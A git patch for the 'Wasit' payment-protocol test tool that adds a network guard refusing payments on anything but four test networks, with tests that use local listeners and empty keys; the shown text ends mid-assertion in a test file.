From 45834e15660e4b392c2eaae28fe67413de518b23 Mon Sep 17 00:00:00 2001 From: Muhammad Dzakwan Najmi Date: Sun, 15 Nov 2026 05:30:07 +0800 Subject: [PATCH 1/7] feat(core): pay on test networks only, refuse every other network A fixed table of networks (core/src/guard/networks.ts) decides before any request is sent or any key is read: the four test networks pass; stellar:pubnet and any network not in the table are refused as a configuration error. The guard runs in every core entry point that signs (the x402 preflight and preparePayment, the MPP charge run and payCharge, the channel suite, each channel check and the channel credential), so the CLI, the MCP server, the dashboard and direct users of @wasit-dev/core get the same refusal from one place. It is the first layer of the network guard; the mainnet opt-in is not part of it. Tests: core (the table and every entry point), the CLI's built binary, the dashboard's runAction, and the MCP server over stdio (new test and typecheck scripts, both run in CI). Help and tool texts no longer offer stellar:pubnet. --- .github/workflows/ci.yml | 11 + packages/cli/src/index.ts | 19 +- packages/cli/test/unit/network-guard.test.ts | 210 +++++++++++ packages/cli/test/unit/runners.test.ts | 74 +++- packages/core/src/guard/networks.ts | 104 ++++++ packages/core/src/index.ts | 9 + packages/core/src/mpp/channel-credential.ts | 3 + packages/core/src/mpp/channel.ts | 26 ++ packages/core/src/mpp/charge.ts | 9 + packages/core/src/mpp/network.ts | 4 +- packages/core/src/mpp/suite.ts | 6 +- packages/core/src/x402/simulator.ts | 9 + .../core/test/unit/charge-network.test.ts | 25 +- packages/core/test/unit/network-guard.test.ts | 328 ++++++++++++++++++ packages/server/package.json | 2 + packages/server/src/index.ts | 24 +- packages/server/test/tsconfig.json | 8 + .../server/test/unit/network-guard.test.ts | 219 ++++++++++++ 18 files changed, 1069 insertions(+), 21 deletions(-) create mode 100644 packages/cli/test/unit/network-guard.test.ts create mode 100644 packages/core/src/guard/networks.ts create mode 100644 packages/core/test/unit/network-guard.test.ts create mode 100644 packages/server/test/tsconfig.json create mode 100644 packages/server/test/unit/network-guard.test.ts diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 4320646..72f7af7 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -72,6 +72,17 @@ jobs: - name: Test @wasit-dev/cli run: npm run test -w packages/cli + # The MCP server's own tests start the built server over stdio, the way + # an MCP client does, and call its tools with a network that is not a + # test network: nothing may be paid. Offline: the target and the RPC + # endpoint are local listeners on 127.0.0.1, and every key is generated + # in the test and holds nothing. + - name: Type-check @wasit-dev/server tests + run: npm run typecheck -w packages/server + + - name: Test @wasit-dev/server + run: npm run test -w packages/server + # Everything above this line runs against the working tree, where # npm has deduplicated one dependency graph across all three # workspaces. That is not the tree an installer gets, so a green diff --git a/packages/cli/src/index.ts b/packages/cli/src/index.ts index e2a228d..8ffa86c 100644 --- a/packages/cli/src/index.ts +++ b/packages/cli/src/index.ts @@ -203,10 +203,11 @@ program .requiredOption("--target ", "URL of the service to test") .option( "--network ", - "Network the payment checks pay on: stellar:testnet, stellar:pubnet, " + + "Network the payment checks pay on: stellar:testnet, " + "eip155:84532 (Base Sepolia), eip155:11155111 (Ethereum Sepolia) or " + - "solana:EtWTRABZaYq6iMfeYKouRu166VU2xqa1 (Solana devnet). X402-01..05 " + - "apply to a challenge on any chain.", + "solana:EtWTRABZaYq6iMfeYKouRu166VU2xqa1 (Solana devnet). Test networks " + + "only: on any other network, stellar:pubnet included, the payment checks " + + "stop before anything is signed. X402-01..05 apply to a challenge on any chain.", "stellar:testnet", ) .option( @@ -368,7 +369,11 @@ program "--commitment-key ", "Raw ed25519 commitment seed, hex (default: COMMITMENT_SECRET_HEX)", ) - .option("--network ", "CAIP-2 network id (default: MPP_STELLAR_NETWORK)") + .option( + "--network ", + "CAIP-2 network id, stellar:testnet only; any other network is refused before " + + "anything is sent (default: MPP_STELLAR_NETWORK, else stellar:testnet)", + ) .option("--rpc-url ", "Override the default Soroban RPC endpoint") .option( "--channel
", @@ -445,7 +450,11 @@ program .description("Run the MPP charge-mode check (MPP-01) against a target service") .requiredOption("--target ", "URL of the paid resource to test") .option("--payer-key ", "Payer secret key, S... (default: MPP_PAYER_SECRET)") - .option("--network ", "CAIP-2 network id (default: MPP_STELLAR_NETWORK)") + .option( + "--network ", + "CAIP-2 network id, stellar:testnet only; any other network is refused before " + + "anything is sent (default: MPP_STELLAR_NETWORK, else stellar:testnet)", + ) .option("--rpc-url ", "Override the default Soroban RPC endpoint") .option("--json", "Print results as JSON instead of formatted text", false) .addHelpText( diff --git a/packages/cli/test/unit/network-guard.test.ts b/packages/cli/test/unit/network-guard.test.ts new file mode 100644 index 0000000..b09b9e7 --- /dev/null +++ b/packages/cli/test/unit/network-guard.test.ts @@ -0,0 +1,210 @@ +/** + * L0 seen from the CLI: `wasit mpp-charge`, `wasit mpp-channel` and `wasit test` + * on stellar:pubnet with an RPC endpoint send no payment, whether the network + * comes from the flag or from MPP_STELLAR_NETWORK. + * + * Runs the built binary (`npm run build` first) in an empty temporary + * directory with an empty HOME, so no `.env` and no saved wallet are loaded. + * Every key is generated here and holds nothing. Nothing leaves 127.0.0.1. + */ + +import assert from "node:assert/strict"; +import { spawn } from "node:child_process"; +import { randomBytes } from "node:crypto"; +import { mkdtemp, rm } from "node:fs/promises"; +import http from "node:http"; +import net from "node:net"; +import { tmpdir } from "node:os"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; +import { after, before, describe, it } from "node:test"; + +import { Keypair } from "@stellar/stellar-sdk"; + +const CLI = fileURLToPath(new URL("../../dist/index.js", import.meta.url)); + +interface Target { + readonly url: string; + readonly requests: () => number; + readonly paid: () => number; + readonly close: () => Promise; +} + +/** + * Answers every request with a well-formed x402 v2 challenge on stellar:pubnet, + * counting all requests and those that carried a payment or a credential. + */ +async function target(): Promise { + let requests = 0; + let paid = 0; + const challenge = Buffer.from( + JSON.stringify({ + x402Version: 2, + resource: { url: "http://127.0.0.1/paid" }, + accepts: [ + { + scheme: "exact", + network: "stellar:pubnet", + amount: "10000", + asset: "CCW67TSZV3SSS2HXMBQ5JFGCKJNXKZM7UQUWUZPUTHXSTZLEO7SJMI75", + payTo: Keypair.random().publicKey(), + maxTimeoutSeconds: 60, + extra: { areFeesSponsored: true }, + }, + ], + }), + ).toString("base64"); + const server = http.createServer((req, res) => { + requests += 1; + if (req.headers["payment-signature"] || req.headers["x-payment"] || req.headers.authorization) paid += 1; + res.writeHead(402, { "payment-required": challenge, "content-type": "application/json" }); + res.end("{}"); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + const { port } = server.address() as { port: number }; + return { + url: `http://127.0.0.1:${port}/paid`, + requests: () => requests, + paid: () => paid, + close: () => + new Promise((resolve) => { + server.closeAllConnections(); + server.close(() => resolve()); + }), + }; +} + +/** An https RPC address on 127.0.0.1 that counts connections and drops each one. */ +async function countingRpc() { + let calls = 0; + const server = net.createServer((socket) => { + calls += 1; + socket.destroy(); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + const { port } = server.address() as net.AddressInfo; + return { + url: `https://127.0.0.1:${port}`, + calls: () => calls, + close: () => new Promise((resolve) => server.close(() => resolve())), + }; +} + +interface Run { + readonly code: number | null; + readonly stdout: string; +} + +function wasit(args: string[], cwd: string, env: Record = {}): Promise { + return new Promise((resolve, reject) => { + const child = spawn(process.execPath, [CLI, ...args], { + cwd, + env: { PATH: process.env.PATH ?? "", HOME: cwd, NO_COLOR: "1", ...env }, + stdio: ["ignore", "pipe", "pipe"], + }); + let stdout = ""; + child.stdout.on("data", (chunk) => (stdout += chunk)); + child.on("error", reject); + child.on("close", (code) => resolve({ code, stdout })); + }); +} + +interface StructuredCheck { + readonly id: string; + readonly detail: string; + readonly errorKind?: string; +} + +function checks(run: Run): StructuredCheck[] { + return (JSON.parse(run.stdout) as { results: StructuredCheck[] }).results; +} + +describe("the CLI on stellar:pubnet", () => { + let cwd: string; + let paywall: Target; + let rpc: Awaited>; + + before(async () => { + cwd = await mkdtemp(path.join(tmpdir(), "wasit-l0-")); + }); + after(async () => { + await rm(cwd, { recursive: true, force: true }); + }); + + const fresh = async () => { + paywall = await target(); + rpc = await countingRpc(); + }; + const closeAll = async () => { + await paywall.close(); + await rpc.close(); + }; + + for (const [label, args, env] of [ + ["--network", ["--network", "stellar:pubnet"], {}], + ["MPP_STELLAR_NETWORK", [], { MPP_STELLAR_NETWORK: "stellar:pubnet" }], + ] as const) { + it(`wasit mpp-charge with ${label} refuses, sends nothing, exits 2`, async () => { + await fresh(); + try { + const run = await wasit( + ["mpp-charge", "--target", paywall.url, ...args, "--rpc-url", rpc.url, "--payer-key", Keypair.random().secret(), "--json"], + cwd, + env, + ); + assert.equal(run.code, 2, run.stdout); + const [result] = checks(run); + assert.equal(result?.id, "MPP-01"); + assert.equal(result?.errorKind, "configuration"); + assert.match(result?.detail ?? "", /MPP stays on test networks/); + assert.equal(paywall.requests(), 0); + assert.equal(rpc.calls(), 0); + } finally { + await closeAll(); + } + }); + } + + it("wasit mpp-channel refuses at preflight, sends nothing, exits 2", async () => { + await fresh(); + try { + const run = await wasit( + [ + "mpp-channel", "--target", paywall.url, "--network", "stellar:pubnet", "--rpc-url", rpc.url, + "--commitment-key", randomBytes(32).toString("hex"), "--json", + ], + cwd, + ); + assert.equal(run.code, 2, run.stdout); + const [result, ...rest] = checks(run); + assert.equal(result?.id, "PREFLIGHT"); + assert.equal(result?.errorKind, "configuration"); + assert.equal(rest.length, 0); + assert.equal(paywall.requests(), 0); + assert.equal(rpc.calls(), 0); + } finally { + await closeAll(); + } + }); + + // The read checks are never guarded: they send no payment and take no key. + // What must not happen is the payment that would follow them. + it("wasit test runs the read checks and pays nothing", async () => { + await fresh(); + try { + const run = await wasit( + ["test", "--target", paywall.url, "--network", "stellar:pubnet", "--rpc-url", rpc.url, "--payer-key", Keypair.random().secret(), "--json"], + cwd, + ); + const results = checks(run); + const preflight = results.find((result) => result.id === "PREFLIGHT"); + assert.equal(preflight?.errorKind, "configuration", run.stdout); + assert.match(preflight?.detail ?? "", /the mainnet opt-in is not part of this version/); + assert.equal(results.some((result) => /^X402-(0[6-9]|10)$/.test(result.id)), false); + assert.equal(paywall.paid(), 0); + assert.equal(rpc.calls(), 0); + } finally { + await closeAll(); + } + }); +}); diff --git a/packages/cli/test/unit/runners.test.ts b/packages/cli/test/unit/runners.test.ts index 27d301d..f132bc4 100644 --- a/packages/cli/test/unit/runners.test.ts +++ b/packages/cli/test/unit/runners.test.ts @@ -1,16 +1,43 @@ /** - * Covers the one thing runners.ts must always get right offline: refusing to - * run mpp-channel/mpp-charge before touching the network when the required - * secret is missing. The success paths need a real target and a real key — - * out of scope here, same "no keys, no target, no network" rule the rest of - * this repo's unit tests follow. + * Covers what runners.ts must always get right offline: refusing to run + * mpp-channel/mpp-charge before touching the network when the required secret + * is missing, or when MPP_STELLAR_NETWORK names a network that is not a test + * network (L0). The success paths need a real target and a real key — out of + * scope here, same "no keys, no target, no network" rule the rest of this + * repo's unit tests follow. The L0 cases use keys generated here, which hold + * nothing, and a target on 127.0.0.1 that only counts requests. */ import assert from "node:assert/strict"; +import { randomBytes } from "node:crypto"; +import http from "node:http"; import { afterEach, beforeEach, describe, it } from "node:test"; +import { Keypair } from "@stellar/stellar-sdk"; + import { runAction } from "../../src/dashboard/runners.js"; +/** A target on 127.0.0.1 that answers 402 to everything and counts requests. */ +async function countingTarget() { + let requests = 0; + const server = http.createServer((_req, res) => { + requests += 1; + res.writeHead(402, { "content-type": "application/json" }); + res.end("{}"); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + const { port } = server.address() as { port: number }; + return { + url: `http://127.0.0.1:${port}/paid`, + requests: () => requests, + close: () => + new Promise((resolve) => { + server.closeAllConnections(); + server.close(() => resolve()); + }), + }; +} + const ENV_KEYS = ["COMMITMENT_SECRET_HEX", "MPP_PAYER_SECRET", "MPP_STELLAR_NETWORK"] as const; describe("runAction", () => { @@ -29,6 +56,8 @@ describe("runAction", () => { afterEach(() => { for (const key of ENV_KEYS) { + // Drop what a test set before putting back what the machine had. + delete process.env[key]; const value = saved[key]; if (value !== undefined) process.env[key] = value; delete saved[key]; @@ -48,4 +77,39 @@ describe("runAction", () => { /MPP_PAYER_SECRET/, ); }); + + // L0: MPP_STELLAR_NETWORK=stellar:pubnet with a key set must not reach the + // target. The refusal comes back as a configuration result, not a throw, so + // the run screen shows it like any other result that has no verdict. + it("refuses mpp-charge on stellar:pubnet, sends nothing", async () => { + process.env.MPP_PAYER_SECRET = Keypair.random().secret(); + process.env.MPP_STELLAR_NETWORK = "stellar:pubnet"; + const target = await countingTarget(); + try { + const results = await runAction({ kind: "mpp-charge" }, target.url, () => {}); + assert.equal(results.length, 1); + assert.equal(results[0]?.id, "MPP-01"); + assert.equal(results[0]?.error?.kind, "configuration"); + assert.match(results[0]?.detail ?? "", /MPP stays on test networks/); + assert.equal(target.requests(), 0); + } finally { + await target.close(); + } + }); + + it("refuses mpp-channel on stellar:pubnet at preflight, sends nothing", async () => { + process.env.COMMITMENT_SECRET_HEX = randomBytes(32).toString("hex"); + process.env.MPP_STELLAR_NETWORK = "stellar:pubnet"; + const target = await countingTarget(); + try { + const results = await runAction({ kind: "mpp-channel" }, target.url, () => {}); + assert.equal(results.length, 1); + assert.equal(results[0]?.id, "PREFLIGHT"); + assert.equal(results[0]?.error?.kind, "configuration"); + assert.match(results[0]?.detail ?? "", /MPP stays on test networks/); + assert.equal(target.requests(), 0); + } finally { + await target.close(); + } + }); }); diff --git a/packages/core/src/guard/networks.ts b/packages/core/src/guard/networks.ts new file mode 100644 index 0000000..398a7c6 --- /dev/null +++ b/packages/core/src/guard/networks.ts @@ -0,0 +1,104 @@ +/** + * L0, the network guard: which networks a payment may be made on. + * + * A fixed table, not a pattern. A network is paid on only after someone adds + * it here, so a new chain, a new mainnet or a typo is refused rather than + * paid on (fail closed). The guard is called from inside every core entry + * point that can sign, so the CLI, the MCP server, the dashboard and any + * third party using @wasit-dev/core get the same refusals; a guard in each + * front end would be three copies, and one forgotten copy is a hole. + * + * `stellar:pubnet` has its own class because a later version may let an x402 + * run pay on it behind an explicit opt-in. This version has no such opt-in, + * so this module has no path that allows it. + */ + +import { ConfigurationError } from "../errors.js"; + +/** How the guard treats a network. */ +export type NetworkClass = "test" | "mainnet-optin" | "unknown"; + +/** The protocol that would sign. MPP has no mainnet path at all. */ +export type PaymentProtocol = "x402" | "mpp-charge" | "mpp-channel"; + +/** + * Every network the guard knows. Test networks are the four the payment + * checks pay on; `stellar:pubnet` is the only mainnet listed. Anything absent + * is `unknown`, and refused. + */ +export const NETWORK_CLASSES: ReadonlyMap> = new Map([ + ["stellar:testnet", "test"], + ["eip155:84532", "test"], // Base Sepolia + ["eip155:11155111", "test"], // Ethereum Sepolia + ["solana:EtWTRABZaYq6iMfeYKouRu166VU2xqa1", "test"], // Solana devnet + ["stellar:pubnet", "mainnet-optin"], +]); + +/** The class of `network`; anything not in the table, or not a string, is `unknown`. */ +export function networkClass(network: unknown): NetworkClass { + return (typeof network === "string" && NETWORK_CLASSES.get(network)) || "unknown"; +} + +/** The test networks, in table order, for messages. */ +function testNetworks(): string { + return [...NETWORK_CLASSES] + .filter(([, kind]) => kind === "test") + .map(([network]) => network) + .join(", "); +} + +/** + * A payment was refused because of the network it would be made on. + * + * A `ConfigurationError`: it says nothing about the target, only that this run + * asked for something Wasit will not do. Nothing was sent when it is thrown. + */ +export class PaymentNetworkRefusedError extends ConfigurationError { + public readonly network: string; + public readonly networkClass: NetworkClass; + public readonly protocol: PaymentProtocol; + + public constructor(protocol: PaymentProtocol, network: unknown, kind: NetworkClass, message: string) { + super(`${message} Nothing was sent and nothing was signed.`); + this.name = "PaymentNetworkRefusedError"; + this.network = String(network); + this.networkClass = kind; + this.protocol = protocol; + } +} + +/** + * Throws unless a payment by `protocol` may be made on `network`. + * + * Call it before any request is sent and before any key or signer is used. + * Only test networks pass. `stellar:pubnet` is refused for every protocol in + * this version: MPP stays on test networks for good, and x402 on mainnet + * needs an opt-in this version does not have. + * + * @throws {PaymentNetworkRefusedError} For any network that is not a test network. + */ +export function assertPaymentNetworkAllowed(protocol: PaymentProtocol, network: string): void { + const kind = networkClass(network); + if (kind === "test") return; + + if (kind === "mainnet-optin") { + throw new PaymentNetworkRefusedError( + protocol, + network, + kind, + protocol === "x402" + ? `${network} is Stellar mainnet. This version of Wasit pays on test networks ` + + `only (${testNetworks()}); the mainnet opt-in is not part of this version.` + : `${network} is Stellar mainnet, and MPP stays on test networks: the MPP ` + + `checks pay on stellar:testnet only.`, + ); + } + + throw new PaymentNetworkRefusedError( + protocol, + network, + kind, + `${JSON.stringify(network) ?? String(network)} is not on Wasit's list of test networks ` + + `(${testNetworks()}), so no payment is made on it.`, + ); +} diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index 7678562..7ac8900 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -21,6 +21,15 @@ export type { CheckCatalogueEntry, ProtocolId } from "./catalogue.js"; export * from "./errors.js"; +// L0, the network guard every signing entry point runs. +export { + NETWORK_CLASSES, + PaymentNetworkRefusedError, + assertPaymentNetworkAllowed, + networkClass, +} from "./guard/networks.js"; +export type { NetworkClass, PaymentProtocol } from "./guard/networks.js"; + export * from "./x402/simulator.js"; export * from "./mpp/channel.js"; export * from "./mpp/charge.js"; diff --git a/packages/core/src/mpp/channel-credential.ts b/packages/core/src/mpp/channel-credential.ts index ed8ea95..b8bf9bb 100644 --- a/packages/core/src/mpp/channel-credential.ts +++ b/packages/core/src/mpp/channel-credential.ts @@ -13,6 +13,7 @@ import { Challenge, Credential } from "mppx"; import { MalformedResponseError, fetchTarget } from "../errors.js"; import { signChannelCommitment } from "./channel-commitment.js"; import { networkPassphrase, resolveRpcUrl } from "./network.js"; +import { assertPaymentNetworkAllowed } from "../guard/networks.js"; export type ChannelAction = "voucher" | "close"; @@ -165,6 +166,8 @@ export async function buildChannelCredential( ): Promise<{ credential: string; signature: string }> { const { challenge, amount, commitmentSecretHex, network, rpcUrl, action } = parameters; + // L0 at the signature itself, whoever calls it. + assertPaymentNetworkAllowed("mpp-channel", network); const signature = await signChannelCommitment({ channelContract: challenge.channelContract, amount, diff --git a/packages/core/src/mpp/channel.ts b/packages/core/src/mpp/channel.ts index 538ea6e..8d315d7 100644 --- a/packages/core/src/mpp/channel.ts +++ b/packages/core/src/mpp/channel.ts @@ -10,6 +10,7 @@ import { submitCredential, } from "./channel-credential.js"; import { assertMppNetwork, networkPassphrase, resolveRpcUrl } from "./network.js"; +import { assertPaymentNetworkAllowed } from "../guard/networks.js"; export interface MppChannelDeployCheckOptions { channelContract: string; @@ -83,6 +84,20 @@ export interface MppChannelCheckOptions { rpcUrl?: string; } +/** + * L0 for a channel check called on its own: these checks sign commitments, and + * MPP-13 closes the channel on-chain, so they run on test networks only. The + * suite runs the same guard once at preflight. + */ +function refusedNetwork(id: string, name: string, network: string): CheckResult[] | undefined { + try { + assertPaymentNetworkAllowed("mpp-channel", network); + return undefined; + } catch (error) { + return [errored(id, name, error)]; + } +} + function failure(id: string, name: string, detail: string): CheckResult[] { return [{ id, name, pass: false, detail }]; } @@ -190,6 +205,8 @@ export async function runMppChannelOrderingCheck( const id = "MPP-11"; const name = "Cumulative Commitment Ordering"; const { target, commitmentSecretHex, network, rpcUrl } = options; + const refused = refusedNetwork(id, name, network); + if (refused) return refused; try { const { amount: baseline } = await advanceCumulative(options); @@ -287,6 +304,8 @@ export async function runMppChannelReplayCheck( const id = "MPP-12"; const name = "Challenge Replay Rejection"; const { target } = options; + const refused = refusedNetwork(id, name, options.network); + if (refused) return refused; try { const { credential } = await advanceCumulative(options); @@ -330,6 +349,8 @@ export async function runMppChannelCommitmentReplayCheck( const id = "MPP-14"; const name = "Commitment Replay Rejection"; const { target } = options; + const refused = refusedNetwork(id, name, options.network); + if (refused) return refused; try { const { amount, signature } = await advanceCumulative(options); @@ -398,6 +419,11 @@ export async function runMppChannelCloseCheck( closePollDelayMs = 2_000, } = options; + // Before the destructive switch is even looked at: a close on a network + // that is not a test network is refused, enabled or not. + const refused = refusedNetwork(id, name, network); + if (refused) return refused; + if (!allowDestructive) { return [ skippedDestructive( diff --git a/packages/core/src/mpp/charge.ts b/packages/core/src/mpp/charge.ts index 7aec488..5f85a6d 100644 --- a/packages/core/src/mpp/charge.ts +++ b/packages/core/src/mpp/charge.ts @@ -30,6 +30,7 @@ import { fetchTarget, } from "../errors.js"; import { type MppNetwork, assertMppNetwork, isMppNetwork, resolveRpcUrl } from "./network.js"; +import { assertPaymentNetworkAllowed } from "../guard/networks.js"; import { verifySettlement } from "../settlement.js"; const CHECK_ID = "MPP-01"; @@ -205,6 +206,9 @@ export async function payCharge( network: MppNetwork, method: ChargeClient, ): Promise { + // L0 again at the signing call itself: it is exported, so a caller can + // reach it without going through runMppChargeChecks. + assertPaymentNetworkAllowed("mpp-charge", network); const mppx = Mppx.create({ methods: [onNetwork(method, network)], polyfill: false, @@ -229,6 +233,8 @@ function pass(detail: string): CheckResult[] { * * @throws {ConfigurationError} Invalid target URL, network, or missing key, or * a challenge for another network than the run's (nothing is signed). + * @throws {PaymentNetworkRefusedError} The run's network is not a test network + * (nothing is sent). * @throws {TargetUnreachableError} The target never answered. * @throws {MalformedResponseError} The target answered, non-conformantly. * @throws {Error} RPC failure — reported as `harness`, never as a target defect. @@ -240,6 +246,9 @@ export async function runMppChargeChecks( assertHttpUrl(target); const runNetwork = assertMppNetwork(network); + // L0: before the key is read, any request is sent or the SDK's charge + // client is built. MPP pays on test networks only. + assertPaymentNetworkAllowed("mpp-charge", runNetwork); if (!payerSecretKey) { throw new ConfigurationError( diff --git a/packages/core/src/mpp/network.ts b/packages/core/src/mpp/network.ts index 37252ed..e1e2227 100644 --- a/packages/core/src/mpp/network.ts +++ b/packages/core/src/mpp/network.ts @@ -15,7 +15,9 @@ export type MppNetwork = "stellar:testnet" | "stellar:pubnet"; export class UnsupportedNetworkError extends ConfigurationError { public constructor(network: string) { super( - `Unsupported network "${network}". Expected "stellar:testnet" or "stellar:pubnet".`, + // stellar:pubnet is a known network (a challenge may name it), but the + // MPP checks never pay on it (L0), so only the test network is offered. + `Unsupported network "${network}". The MPP checks run on "stellar:testnet" only.`, ); this.name = "UnsupportedNetworkError"; } diff --git a/packages/core/src/mpp/suite.ts b/packages/core/src/mpp/suite.ts index 675efa8..cbc77f9 100644 --- a/packages/core/src/mpp/suite.ts +++ b/packages/core/src/mpp/suite.ts @@ -17,6 +17,7 @@ import { } from "./channel.js"; import { fetchChannelChallenge } from "./channel-credential.js"; import { assertMppNetwork } from "./network.js"; +import { assertPaymentNetworkAllowed } from "../guard/networks.js"; const DEPLOY_ID = "MPP-10"; const DEPLOY_NAME = "Channel Deploy"; @@ -170,10 +171,13 @@ export async function runMppChannelSuite( } = options; // A bad URL or an unknown network is wrong for every check in the suite, so - // it is reported once here instead of repeated identically per check. + // it is reported once here instead of repeated identically per check. L0 + // runs here too: the suite signs commitments and may close a channel, so a + // network that is not a test network stops it before any request. try { assertHttpUrl(target); assertMppNetwork(network); + assertPaymentNetworkAllowed("mpp-channel", network); } catch (error) { const preflight = errored("PREFLIGHT", "Run Preflight", error); options.onResult?.(preflight); diff --git a/packages/core/src/x402/simulator.ts b/packages/core/src/x402/simulator.ts index 5007d56..436912b 100644 --- a/packages/core/src/x402/simulator.ts +++ b/packages/core/src/x402/simulator.ts @@ -6,6 +6,7 @@ import { assertHttpUrl, fetchTarget, } from "../errors.js"; +import { assertPaymentNetworkAllowed } from "../guard/networks.js"; import { checkNetworkIdentifier, checkRequiredFields } from "./requirements.js"; export type { CheckResult }; @@ -495,6 +496,10 @@ async function preparePayment( alter?: (selected: PaymentRequirements) => AlteredSigning | Promise, beforeSigning?: (selected: PaymentRequirements) => Promise, ) { + // L0 again at the one function every x402 signature goes through, whoever + // reaches it: nothing is fetched or signed on a network that is not a test + // network. + assertPaymentNetworkAllowed("x402", options.network); const chain = chainFor(options.network); const { client, httpClient } = await buildX402Client( chain, @@ -1097,6 +1102,10 @@ export async function runX402PaymentChecks( // money moves, so a run that could not finish is stopped here rather than // after paying. const chain = chainFor(options.network); + // L0: an adapter for the network is not permission to pay on it. Only a + // test network passes; stellar:pubnet waits for the mainnet opt-in, which + // this version does not have. + assertPaymentNetworkAllowed("x402", options.network); chain.resolveRpcUrl(options.network, options.rpcUrl); // A key for another chain, or a malformed one, would otherwise surface // mid-payment as a harness error. Checked here, it is what it is: the diff --git a/packages/core/test/unit/charge-network.test.ts b/packages/core/test/unit/charge-network.test.ts index e45d010..4732d92 100644 --- a/packages/core/test/unit/charge-network.test.ts +++ b/packages/core/test/unit/charge-network.test.ts @@ -108,10 +108,27 @@ async function rejection(promise: Promise): Promise { } describe("MPP-01 and the challenge's network", () => { - for (const [asked, run] of [ - ["stellar:pubnet", "stellar:testnet"], - ["stellar:testnet", "stellar:pubnet"], - ] as const) { + // A stellar:pubnet run no longer reaches the challenge at all: L0 refuses it + // first (network-guard.test.ts). The run-network rule below still guards a + // testnet run against a challenge that asks for pubnet. + it("refuses a stellar:pubnet run before the challenge is read", async () => { + const target = await chargeTarget(() => "stellar:testnet"); + const rpc = await countingRpc(); + try { + const error = await rejection( + runMppChargeChecks({ target: target.url, network: "stellar:pubnet", payerSecretKey: Keypair.random().secret(), rpcUrl: rpc.url }), + ); + assert.match(String((error as Error).message), /MPP stays on test networks/); + assert.equal(classifyCheckError(error).kind, "configuration"); + assert.equal(target.requests(), 0); + assert.equal(rpc.calls(), 0); + } finally { + await target.close(); + await rpc.close(); + } + }); + + for (const [asked, run] of [["stellar:pubnet", "stellar:testnet"]] as const) { it(`refuses a ${asked} challenge on a ${run} run before anything is signed`, async () => { const target = await chargeTarget(() => asked); const rpc = await countingRpc(); diff --git a/packages/core/test/unit/network-guard.test.ts b/packages/core/test/unit/network-guard.test.ts new file mode 100644 index 0000000..74d688d --- /dev/null +++ b/packages/core/test/unit/network-guard.test.ts @@ -0,0 +1,328 @@ +/** + * L0, the network guard: a payment is made on a test network or not at all. + * + * Before this guard, MPP charge paid on `stellar:pubnet` whenever the caller + * named it and passed an RPC endpoint, from a CLI flag, an MCP tool argument + * or `MPP_STELLAR_NETWORK`, and nothing capped what it paid. x402 stopped + * only because the Stellar SDK refuses pubnet without an RPC endpoint of its + * own, which Wasit happens not to pass. The guard lives in core, inside every + * entry point that can sign, so no front end can reach a signature around it. + * + * Every test here asserts the refusal AND that nothing left the process: the + * target counts each request, the RPC stand-in counts each connection. All + * keys are generated per run and hold nothing. Nothing leaves 127.0.0.1. + */ + +import assert from "node:assert/strict"; +import { randomBytes } from "node:crypto"; +import http from "node:http"; +import net from "node:net"; +import { describe, it } from "node:test"; + +import { Keypair } from "@stellar/stellar-sdk"; +import { charge as chargeClient } from "@stellar/mpp/charge/client"; + +import { classifyCheckError } from "../../src/errors.js"; +import { + NETWORK_CLASSES, + PaymentNetworkRefusedError, + assertPaymentNetworkAllowed, + networkClass, +} from "../../src/guard/networks.js"; +import { payCharge, runMppChargeChecks } from "../../src/mpp/charge.js"; +import { runMppChargeSuite } from "../../src/mpp/charge-suite.js"; +import { + runMppChannelCloseCheck, + runMppChannelCommitmentReplayCheck, + runMppChannelOrderingCheck, + runMppChannelReplayCheck, +} from "../../src/mpp/channel.js"; +import { runMppChannelSuite } from "../../src/mpp/suite.js"; +import { paymentNetworks } from "../../src/x402/chains/index.js"; +import { stellarChain } from "../../src/x402/chains/stellar.js"; +import { runX402PaymentChecks } from "../../src/x402/simulator.js"; + +const TEST_NETWORKS = [ + "stellar:testnet", + "eip155:84532", + "eip155:11155111", + "solana:EtWTRABZaYq6iMfeYKouRu166VU2xqa1", +]; + +const REFUSED = /Nothing was sent and nothing was signed/; +const NO_OPT_IN = /the mainnet opt-in is not part of this version/; +const MPP_TEST_ONLY = /MPP stays on test networks/; + +/** Any HTTP target, counting every request that reaches it. */ +async function countingTarget() { + let requests = 0; + const server = http.createServer((_req, res) => { + requests += 1; + res.writeHead(402).end(); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + const { port } = server.address() as { port: number }; + return { + url: `http://127.0.0.1:${port}/paid`, + requests: () => requests, + close: () => + new Promise((resolve) => { + server.closeAllConnections(); + server.close(() => resolve()); + }), + }; +} + +/** An https RPC address on 127.0.0.1 that counts connections and drops each one. */ +async function countingRpc() { + let calls = 0; + const server = net.createServer((socket) => { + calls += 1; + socket.destroy(); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + const { port } = server.address() as net.AddressInfo; + return { + url: `https://127.0.0.1:${port}`, + calls: () => calls, + close: () => new Promise((resolve) => server.close(() => resolve())), + }; +} + +/** Runs `body` against a fresh target and RPC, then asserts neither was reached. */ +async function nothingSent( + body: (target: string, rpcUrl: string) => Promise, +): Promise { + const target = await countingTarget(); + const rpc = await countingRpc(); + try { + await body(target.url, rpc.url); + assert.equal(target.requests(), 0, "a request reached the target"); + assert.equal(rpc.calls(), 0, "a connection reached the RPC endpoint"); + } finally { + await target.close(); + await rpc.close(); + } +} + +async function rejection(promise: Promise): Promise { + try { + await promise; + } catch (error) { + return error as Error; + } + assert.fail("expected a refusal"); +} + +describe("network classification", () => { + it("classifies every network an adapter can pay on", () => { + for (const network of paymentNetworks()) { + assert.notEqual(networkClass(network), "unknown", network); + } + }); + + it("names the four test networks Wasit pays on, and nothing else, as test", () => { + const tests = [...NETWORK_CLASSES].filter(([, kind]) => kind === "test").map(([network]) => network); + assert.deepEqual(tests.sort(), [...TEST_NETWORKS].sort()); + }); + + it("has stellar:pubnet as its only mainnet", () => { + const mainnets = [...NETWORK_CLASSES].filter(([, kind]) => kind === "mainnet-optin").map(([network]) => network); + assert.deepEqual(mainnets, 